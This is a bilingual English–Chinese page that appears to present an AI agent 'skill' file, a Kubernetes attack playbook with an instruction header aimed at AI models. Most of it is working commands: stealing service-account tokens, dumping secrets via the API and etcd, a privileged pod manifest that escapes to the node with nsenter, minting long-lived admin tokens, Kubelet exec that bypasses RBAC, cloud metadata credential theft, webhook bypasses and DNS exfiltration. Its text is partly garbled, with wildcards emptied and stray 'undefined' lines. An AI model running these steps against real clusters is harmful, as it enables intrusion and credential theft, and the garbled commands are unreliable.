kubernetes-pentesting

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Kubernetes Pentesting — Expert Attack Playbook

技能:Kubernetes 渗透测试 —— 专家级攻击手册

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
AI 加载说明:专家级 Kubernetes 攻击技术,覆盖 API 服务器访问、RBAC 权限提升、服务账号令牌滥用、etcd 密钥提取、Kubelet API 利用、云 IMDS 访问(EKS/GKE/AKS)、准入 Webhook 绕过以及网络策略规避。基础模型通常无法区分命名空间范围和集群范围的 RBAC,也容易忽略 Kubelet 的未认证 API 接口。

0. RELATED ROUTING

0. 相关指引

Before going deep, consider loading:
  • container-escape-techniques for escaping from a compromised pod to the underlying node
  • linux-privilege-escalation once on a node for escalating to root
  • linux-lateral-movement for pivoting between nodes
  • linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
  • ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata

深入学习前,可以考虑加载以下内容:
  • container-escape-techniques 用于从已攻陷的 Pod 逃逸到底层节点
  • linux-privilege-escalation 用于获取节点权限后提升到 root 权限
  • linux-lateral-movement 用于在节点之间横向移动
  • linux-security-bypass 用于在 Pod 安全标准或 seccomp 配置限制操作时绕过限制
  • ssrf-server-side-request-forgery 用于利用 SSRF 访问 K8s API 或云元数据接口

1. K8S API SERVER ACCESS

1. K8s API 服务器访问

1.1 Anonymous Access Check

1.1 匿名访问检查

bash
undefined
bash
undefined

Check if anonymous auth is enabled (default: limited in modern clusters)

检查是否启用匿名认证(现代集群默认仅开放有限权限)

Common API server ports:

常见 API 服务器端口:

6443 — secure API (default)

6443 — 安全 API(默认)

8443 — alternative secure

8443 — 备选安全端口

8080 — insecure API (legacy, no auth needed)

8080 — 非安全 API( legacy 版本,无需认证)

undefined
undefined

1.2 Token-Based Authentication (from inside pod)

1.2 基于令牌的认证(Pod 内部使用)

bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods
bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 Certificate / Kubeconfig Authentication

1.3 证书 / Kubeconfig 认证

bash
undefined
bash
undefined

Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,

常见 kubeconfig 位置:~/.kube/config, /etc/kubernetes/admin.conf,

/etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig

/etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig

kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

---
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

---

2. RBAC ENUMERATION

2. RBAC 枚举

2.1 Self-Permission Check

2.1 自身权限检查

bash
undefined
bash
undefined

What can I do?

我有哪些权限?

kubectl auth can-i --list kubectl auth can-i --list -n kube-system
kubectl auth can-i --list kubectl auth can-i --list -n kube-system

Specific checks

特定权限检查

kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '' '' # Full cluster admin?
kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '' '' # 是否为集群超级管理员?

Via API (from inside pod):

通过 API 检查(Pod 内部使用):

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN"
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews
-H "Content-Type: application/json"
-d "{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"$NAMESPACE"}}"
undefined
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN"
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews
-H "Content-Type: application/json"
-d "{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"$NAMESPACE"}}"
undefined

2.2 Role and ClusterRole Enumeration

2.2 Role 和 ClusterRole 枚举

bash
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME
bash
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

Find overprivileged roles (wildcard verbs/resources):

查找过度授权的角色(包含通配符动词/资源):

kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r["metadata"]["name"]}") for r in data["items"] for rule in r.get("rules",[]) if "" in rule.get("verbs",[]) or "" in rule.get("resources",[])]'
undefined
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r["metadata"]["name"]}") for r in data["items"] for rule in r.get("rules",[]) if "" in rule.get("verbs",[]) or "" in rule.get("resources",[])]'
undefined

2.3 Dangerous RBAC Permissions

2.3 高危 RBAC 权限

PermissionRiskEscalation Path
pods/exec
CriticalExec into any pod (access secrets, tokens)
pods
(create)
CriticalCreate privileged pod → node access
secrets
(get/list)
CriticalRead all secrets including SA tokens
serviceaccounts/token
(create)
CriticalGenerate token for any SA
nodes/proxy
HighProxy to Kubelet API
escalate
on roles
CriticalGrant yourself any permission
bind
on rolebindings
CriticalBind any role to yourself
impersonate
CriticalImpersonate any user/SA

权限风险等级提权路径
pods/exec
严重进入任意 Pod 执行命令(获取密钥、令牌)
pods
(create)
严重创建特权 Pod → 获取节点权限
secrets
(get/list)
严重读取所有密钥,包括 SA 令牌
serviceaccounts/token
(create)
严重为任意 SA 生成访问令牌
nodes/proxy
代理访问 Kubelet API
角色的
escalate
权限
严重为自己授予任意权限
角色绑定的
bind
权限
严重为自己绑定任意角色
impersonate
权限
严重伪装成任意用户/服务账号

3. SERVICE ACCOUNT TOKEN ABUSE

3. 服务账号令牌滥用

3.1 Token Location and Decoding

3.1 令牌位置与解码

bash
undefined
bash
undefined

Default mount point

默认挂载路径

cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Decode JWT (no verification needed)

解码 JWT(无需验证签名)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

Shows: namespace, service account name, expiry

展示信息:命名空间、服务账号名称、过期时间

undefined
undefined

3.2 Escalation via Service Account

3.2 通过服务账号提权

bash
undefined
bash
undefined

If SA has elevated permissions — dump secrets, create privileged pod:

如果 SA 有高权限 —— 导出所有密钥、创建特权 Pod:

kubectl get secrets --all-namespaces kubectl apply -f - << 'EOF' apiVersion: v1 kind: Pod metadata: { name: privesc } spec: hostPID: true hostNetwork: true containers:
  • name: pwn image: alpine command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"] securityContext: { privileged: true } volumeMounts: [{ name: hostfs, mountPath: /host }] volumes: [{ name: hostfs, hostPath: { path: / }}] EOF
undefined
kubectl get secrets --all-namespaces kubectl apply -f - << 'EOF' apiVersion: v1 kind: Pod metadata: { name: privesc } spec: hostPID: true hostNetwork: true containers:
  • name: pwn image: alpine command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"] securityContext: { privileged: true } volumeMounts: [{ name: hostfs, mountPath: /host }] volumes: [{ name: hostfs, hostPath: { path: / }}] EOF
undefined

3.3 Token Generation

3.3 令牌生成

bash
undefined
bash
undefined

If serviceaccounts/token create permission:

如果有 serviceaccounts/token 创建权限:

kubectl create token admin-sa -n kube-system --duration=87600h

---
kubectl create token admin-sa -n kube-system --duration=87600h

---

4. ETCD DIRECT ACCESS

4. etcd 直接访问

bash
undefined
bash
undefined

Check anonymous access (port 2379 on master nodes):

检查匿名访问(主节点端口 2379):

curl -sk https://ETCD_IP:2379/version
curl -sk https://ETCD_IP:2379/version

With certs from master node (/etc/kubernetes/pki/etcd/):

使用主节点的证书(路径 /etc/kubernetes/pki/etcd/):

ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379
--cacert=ca.crt --cert=server.crt --key=server.key
get / --prefix --keys-only | grep secrets
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379
--cacert=ca.crt --cert=server.crt --key=server.key
get / --prefix --keys-only | grep secrets

Dump specific secret:

导出指定密钥:

ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

---
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

---

5. POD ESCAPE TO NODE

5. Pod 逃逸到节点

See container-escape-techniques for detailed escape chains.

详细逃逸链路请查看 container-escape-techniques

Quick reference for K8s-specific vectors:
VectorRequirementCommand
hostPID
spec.hostPID: true
nsenter -t 1 -m -u -i -n -p -- bash
hostNetwork
spec.hostNetwork: true
Access node services (Kubelet, etcd)
hostPath
/
Volume mount of host root
chroot /host bash
Privileged container
securityContext.privileged: true
Mount host disk / nsenter

K8s 专属攻击向量快速参考:
向量前提条件命令
hostPID
spec.hostPID: true
nsenter -t 1 -m -u -i -n -p -- bash
hostNetwork
spec.hostNetwork: true
访问节点服务(Kubelet、etcd)
hostPath 挂载根目录挂载了主机根目录的卷
chroot /host bash
特权容器
securityContext.privileged: true
挂载主机磁盘 / 执行 nsenter

6. KUBELET API (Port 10250/10255)

6. Kubelet API(端口 10250/10255)

bash
curl -sk https://NODE_IP:10250/pods        # Anonymous access check
bash
curl -sk https://NODE_IP:10250/pods        # 匿名访问检查

10255 = read-only (legacy, HTTP)

10255 = 只读端口(legacy 版本,HTTP 协议)

Exec into pod via Kubelet (bypasses API server RBAC):

通过 Kubelet 进入 Pod 执行命令(绕过 API 服务器 RBAC):

curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

Read logs:

读取日志:

curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

---
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

---

7. CLOUD-SPECIFIC ATTACKS

7. 云厂商专属攻击

7.1 AWS EKS — IMDS Access

7.1 AWS EKS — IMDS 访问

bash
undefined
bash
undefined

From inside a pod (if IMDSv1 or no hop limit enforced):

从 Pod 内部访问(如果启用 IMDSv1 或未限制跳数):

Returns IAM role name, then:

返回 IAM 角色名称,然后执行:

Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

返回临时 AWS 凭证(AccessKeyId、SecretAccessKey、Token)

IMDSv2 (token required):

IMDSv2(需要令牌):

IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/

EKS-specific: IRSA (IAM Roles for Service Accounts)

EKS 专属:IRSA(服务账号绑定 IAM 角色)

Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token

令牌路径:/var/run/secrets/eks.amazonaws.com/serviceaccount/token

Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

环境变量:AWS_ROLE_ARN、AWS_WEB_IDENTITY_TOKEN_FILE

undefined
undefined

7.2 GCP GKE — Metadata API

7.2 GCP GKE — 元数据 API

bash
undefined
bash
undefined

GCE metadata server

GCE 元数据服务器

Returns OAuth2 access token

返回 OAuth2 访问令牌

List available scopes

列出可用权限范围

GKE Workload Identity (if configured):

GKE Workload Identity(如果已配置):

The pod's SA is mapped to a GCP SA

Pod 的 SA 映射到 GCP SA

Token automatically available for GCP API calls

令牌自动对 GCP API 调用可用

undefined
undefined

7.3 Azure AKS — Managed Identity

7.3 Azure AKS — 托管身份

bash
undefined
bash
undefined

Azure IMDS

Azure IMDS

Returns Azure access token

返回 Azure 访问令牌

AKS Pod Identity / Workload Identity

AKS Pod Identity / Workload Identity

Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars

检查是否存在 AZURE_CLIENT_ID、AZURE_TENANT_ID 环境变量

env | grep AZURE

---
env | grep AZURE

---

8. ADMISSION WEBHOOK BYPASS

8. 准入 Webhook 绕过

StrategyCommand/Method
Excluded namespace
kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector
→ use excluded NS
failurePolicy: IgnoreIf webhook server down → admission skipped
Ephemeral containers
kubectl debug POD -it --image=alpine
(may not be covered)
Static podsPlace manifest in
/etc/kubernetes/manifests/
on node (bypasses API admission)

策略命令/方法
排除的命名空间
kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector
→ 使用排除的命名空间
failurePolicy: Ignore如果 Webhook 服务宕机 → 准入校验跳过
临时容器
kubectl debug POD -it --image=alpine
(可能不在规则覆盖范围内)
静态 Pod将 manifest 放到节点的
/etc/kubernetes/manifests/
目录(绕过 API 准入校验)

9. CONTAINER REGISTRY ACCESS

9. 容器镜像仓库访问

bash
undefined
bash
undefined

Extract pull secrets (dockerconfigjson):

提取拉取密钥(dockerconfigjson):

kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

Pull + inspect images for hardcoded secrets:

拉取并检查镜像是否有硬编码密钥:

docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

---
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

---

10. NETWORK POLICY ENUMERATION & BYPASS

10. 网络策略枚举与绕过

bash
kubectl get networkpolicies --all-namespaces
bash
kubectl get networkpolicies --all-namespaces

Find namespaces without policies (default allow-all):

查找没有配置网络策略的命名空间(默认允许所有流量):

for ns in $(kubectl get ns -o name | cut -d/ -f2); do [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns" done

Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, `hostNetwork: true` bypasses pod network policies entirely.

---
for ns in $(kubectl get ns -o name | cut -d/ -f2); do [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns" done

绕过策略:DNS 数据外带(53端口极少被拦截)、允许端口隧道、在未受保护的命名空间创建 Pod、`hostNetwork: true` 完全绕过 Pod 网络策略。

---

11. TOOLS

11. 工具

ToolPurposeCommand
kubectlK8s API interaction
kubectl auth can-i --list
kube-hunterAutomated K8s vulnerability scanning
kube-hunter --remote TARGET
peiratesK8s pentesting from inside a pod
./peirates
kubesploitPost-exploitation framework for K8sAgent-based C2
CDKContainer/K8s exploitation toolkit
./cdk evaluate
kubeletctlInteract with Kubelet API directly
kubeletctl pods -s NODE_IP
kubeauditCluster misconfiguration audit
kubeaudit all

工具用途命令
kubectlK8s API 交互
kubectl auth can-i --list
kube-hunter自动化 K8s 漏洞扫描
kube-hunter --remote TARGET
peiratesPod 内部 K8s 渗透测试
./peirates
kubesploitK8s 后渗透框架基于 Agent 的 C2
CDK容器/K8s 利用工具包
./cdk evaluate
kubeletctl直接与 Kubelet API 交互
kubeletctl pods -s NODE_IP
kubeaudit集群配置错误审计
kubeaudit all

12. KUBERNETES PENTESTING DECISION TREE

12. Kubernetes 渗透测试决策树

Access to Kubernetes environment?
├── Inside a pod?
│   ├── Read SA token → check RBAC permissions (§2.1)
│   │   ├── Can create pods? → privileged pod escape (§3.2)
│   │   ├── Can read secrets? → dump all secrets (§3.2)
│   │   ├── Can exec into pods? → pivot to other pods
│   │   └── Minimal permissions → try Kubelet API (§6)
│   │
│   ├── Cloud environment?
│   │   ├── AWS → check IMDS for IAM creds (§7.1)
│   │   ├── GCP → check metadata for OAuth token (§7.2)
│   │   └── Azure → check IMDS for managed identity (§7.3)
│   │
│   └── Escape to node? → load container-escape-techniques
├── Access to node?
│   ├── kubeconfig found? → full cluster access (§1.3)
│   ├── etcd accessible? → dump all secrets (§4)
│   ├── Kubelet cert/key? → API server access
│   └── Static pod manifests? → create privileged static pod (§8)
├── External access only?
│   ├── API server exposed? → anonymous/token check (§1)
│   ├── Kubelet 10250 exposed? → direct pod exec (§6)
│   ├── etcd 2379 exposed? → direct secret dump (§4)
│   └── Dashboard/UI exposed? → authentication bypass
├── RBAC escalation path?
│   ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│   ├── impersonate permission? → act as admin (§2.3)
│   ├── serviceaccounts/token create? → mint admin token (§3.3)
│   └── Overprivileged clusterrole? → abuse wildcards (§2.2)
└── No direct escalation?
    ├── Enumerate network policies → find unprotected namespaces (§10)
    ├── Check admission webhooks → find bypass (§8)
    ├── Pull registry images → search for secrets (§9)
    └── Scan nodes for exposed services → Kubelet, etcd
是否能访问 Kubernetes 环境?
├── 位于 Pod 内部?
│   ├── 读取 SA 令牌 → 检查 RBAC 权限(§2.1)
│   │   ├── 可创建 Pod? → 特权 Pod 逃逸(§3.2)
│   │   ├── 可读取密钥? → 导出所有密钥(§3.2)
│   │   ├── 可进入 Pod 执行命令? → 横向移动到其他 Pod
│   │   └── 权限极低 → 尝试访问 Kubelet API(§6)
│   │
│   ├── 位于云环境?
│   │   ├── AWS → 检查 IMDS 获取 IAM 凭证(§7.1)
│   │   ├── GCP → 检查元数据获取 OAuth 令牌(§7.2)
│   │   └── Azure → 检查 IMDS 获取托管身份凭证(§7.3)
│   │
│   └── 可逃逸到节点? → 加载容器逃逸技术手册
├── 可访问节点?
│   ├── 找到 kubeconfig? → 完整集群访问权限(§1.3)
│   ├── etcd 可访问? → 导出所有密钥(§4)
│   ├── 有 Kubelet 证书/密钥? → 访问 API 服务器
│   └── 可修改静态 Pod 清单? → 创建特权静态 Pod(§8)
├── 仅能外部访问?
│   ├── API 服务器暴露? → 匿名/令牌访问检查(§1)
│   ├── Kubelet 10250 端口暴露? → 直接进入 Pod 执行命令(§6)
│   ├── etcd 2379 端口暴露? → 直接导出密钥(§4)
│   └── Dashboard/UI 暴露? → 认证绕过
├── 存在 RBAC 提权路径?
│   ├── 有 escalate/bind 权限? → 授予自己集群管理员权限(§2.3)
│   ├── 有 impersonate 权限? → 伪装成管理员操作(§2.3)
│   ├── 可创建 serviceaccounts/token? → 生成管理员令牌(§3.3)
│   └── 存在过度授权的 ClusterRole? → 滥用通配符权限(§2.2)
└── 无直接提权路径?
    ├── 枚举网络策略 → 查找未受保护的命名空间(§10)
    ├── 检查准入 Webhook → 寻找绕过方式(§8)
    ├── 拉取镜像仓库镜像 → 搜索硬编码密钥(§9)
    └── 扫描节点暴露服务 → 查找 Kubelet、etcd 接口